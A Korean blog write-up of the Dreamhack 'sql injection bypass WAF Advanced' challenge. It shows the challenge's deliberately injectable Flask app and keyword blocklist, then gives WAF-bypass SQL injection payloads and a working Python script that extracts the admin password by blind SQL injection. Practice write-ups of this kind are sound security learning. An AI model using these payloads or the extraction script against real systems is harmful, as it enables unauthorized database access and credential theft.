https://dreamhack.io/wargame/challenges/416/?writeup_id
sql injection bypass WAF Advanced
Description Exercise: SQL Injection Bypass WAF의 패치된 문제입니다.
dreamhack.io
처음 페이지 화면이다.
아래는 웹 서버 구동 코드이다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
아래는 sql내에 저장된 테이블의 정보이다.
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
위의 코드를 보면 알겠지만 입력을 받고 필터링을 하고 있다.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
위에 해당하는 문자열이 입력되면 오류페이지가 출력된다.
솔직히 별로 어려워보이지는 않는다.
guest'&&substr(upw,1,1)='g';
위 코드를 통해 참/거짓을 판별해 비밀번호를 유추할 수 있을 것 같다. 이제 admin 필터링만 해결하면 될 것 같다.
admin 문자열 필터링을 우회하려고 한시간 정도 시간을 쓴 듯하다...
concat(adm, in); 이 방법을 제일 처음에 시도했지만... 문자열을 '로 묶어야한다는 생각을 못했던 나머지 시간을 너무 버렸다.
아래는 admin문자열 필터링을 우회했던 썼던 코드이다.
guest'||uid=reverse('nimda');
1시간의 고전 끝에 admin이 출력되는 것을 보고 기뻤지만
guest'||uid=concat('adm','in');
위 코드로도 admin이 출력되는 것을 보고 우울해졌다. 진즉에 '' 넣어볼껄..
그리고 || 연산자로 여러 계정을 확인해도 테이블에 저장된 가장 위에 있는 uid만 출력되는 것을 알았다.
이제 파이썬으로 정답을 찾아보자.
import requests
import string
import sys
port = sys.argv[1]
search_range = string.ascii_letters + string.digits
buf = ''
for pos in range(1, 50):
for asc in search_range:
query = f'guest\'||uid=reverse(\'nimda\')&&substr(upw,{pos},1)=\'{asc}\';'
chall_url = f'http://host3.dreamhack.games:{port}/?uid={query}'
# print(chall_url)
res = requests.get(chall_url)
# print(res.text)
if(res.text) == 'admin':
buf += asc
print(buf)
처음 만든 코드
위의 처음으로 만든 파이썬 코드가 오류 메세지를 반환하길래 확인해보니 문제 사이트의 폼에 입력한 값과 url에 입력한 값이 다른 것 같다. 그래서 폼에 입력했을 때 나오는 url에 나오는 쿼리를 파이썬으로 보내보겠다.
조금 수정된 코드이다.
import requests
import string
import sys
port = sys.argv[1]
search_range = string.ascii_lowercase + string.digits
buf = ''
for pos in range(1, 50):
for asc in search_range:
query = f'guest%27%7C%7Cuid%3Dconcat%28%27adm%27%2C%27in%27%29%26%26substr%28upw%2C{pos}%2C1%29%3D%27{asc}%27%3B'
chall_url = f'http://host3.dreamhack.games:{port}/?uid={query}'
print(chall_url)
res = requests.get(chall_url)
print(res.text)
if(res.text == ):
buf += asc
print(buf)
admin이 출력되는 것을 확인했지만 admin 문자열을 if문으로 어떻게 확인해야할지 모르겠다.
이전에 드림핵에서 풀었던 문제 중에 'blind sql injection advanced' 문제에서 어떤 사람이 푼 코드를 보고 힌트를 얻었다.
그냥 if 'admin' in res.text 하면 되는거였다... 파이썬 코드 공부하자...
그렇게 만든 코드이다.
import requests
import string
import sys
port = sys.argv[1]
search_range = string.ascii_lowercase + string.digits
buf = ''
for pos in range(1, 50):
for asc in search_range:
query = f'guest%27%7C%7Cuid%3Dconcat%28%27adm%27%2C%27in%27%29%26%26substr%28upw%2C{pos}%2C1%29%3D%27{asc}%27%3B'
chall_url = f'http://host3.dreamhack.games:{port}/?uid={query}'
# print(chall_url)
res = requests.get(chall_url)
# print(res.text)
if 'admin' in res.text:
buf += asc
print(buf)
결과 값이 나오지만 소문자와 숫자만 검색했기 때문에 다른 값들은 {} 같은 값들은 나오지 않았다. 조금 더 수정이 필요해 보인다.
search_range 변수에 '{'+'}' 값을 추가해서 코드를 돌려 봐야겠다.
import requests
import string
import sys
port = sys.argv[1]
search_range = string.ascii_lowercase+string.digits+'{'+'}'
buf = ''
for pos in range(1, 50):
for asc in search_range:
query = f'guest%27%7C%7Cuid%3Dconcat%28%27adm%27%2C%27in%27%29%26%26substr%28upw%2C{pos}%2C1%29%3D%27{asc}%27%3B'
chall_url = f'http://host3.dreamhack.games:{port}/?uid={query}'
# print(chall_url)
res = requests.get(chall_url)
# print(res.text)
if 'admin' in res.text:
buf += asc
print(buf)
정답이 나온 듯 해서 플래그를 넣어보니 정답이었다!
이번엔 정말 혼자 힘으로 푼 것 같아서 뿌듯하다.
'문제풀이 > 웹해킹' 카테고리의 다른 글
[dreamhack] command-injection-chatgpt 문제풀이 (0) | 2024.05.08 |
---|---|
[dreamhack] simple_sqli_chatgpt 문제풀이 (0) | 2024.05.08 |
[dreamhack] random-test 문제풀이 (1) | 2024.05.01 |
(Dreamhack) Apache htaccess문제 풀이 (0) | 2023.02.24 |
(dreamhack) blind sql injection advanced 문제풀이 (2) | 2023.02.08 |